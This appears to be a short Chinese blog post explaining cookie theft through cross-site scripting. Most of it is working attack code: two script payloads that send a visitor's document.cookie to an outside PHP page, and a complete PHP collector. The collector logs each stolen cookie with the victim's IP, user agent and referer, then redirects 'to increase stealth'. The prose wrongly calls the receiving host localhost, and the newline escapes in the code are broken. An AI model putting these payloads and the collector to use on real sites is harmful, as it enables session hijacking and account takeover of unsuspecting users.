个人理解为跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆。

跨站提取cookie的原理 等价于
如何从在浏览器中获取cookie + 发送cookie到指定url

比如:

<script>document.write('<img src="https://www.webshell.cc/test.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>

或者

<script>document.location = 'https://www.webshell.cc/test.php?cookie=' + document.cookie;</script>

依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交

而test.php中的内容类似于:

<?php

$cookie = $_GET['cookie'];            //以GET方式获取cookie变量值

$ip = getenv ('REMOTE_ADDR');        //远程主机IP地址

$time=date('Y-m-d g:i:s');            //以“年-月-日 时:分:秒”的格式显示时间

$referer=getenv ('HTTP_REFERER');    //链接来源

$agent = $_SERVER['HTTP_USER_AGENT'];    //用户浏览器类型

$fp = fopen('cookie.txt', 'a');        //打开cookie.txt,若不存在则创建它

fwrite($fp," IP: " .$ip. "n Date and Time: " .$time. "n User Agent:".$agent."n Referer: ".$referer."n Cookie: ".$cookie."nnn");    //写入文件

fclose($fp);    //关闭文件

header("Location: https://www.webshell.cc");    //将网页重定向到本站,增强隐蔽性

?>

这些用户数据来源于HTTP数据包中的浏览器头部信息

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/2751.html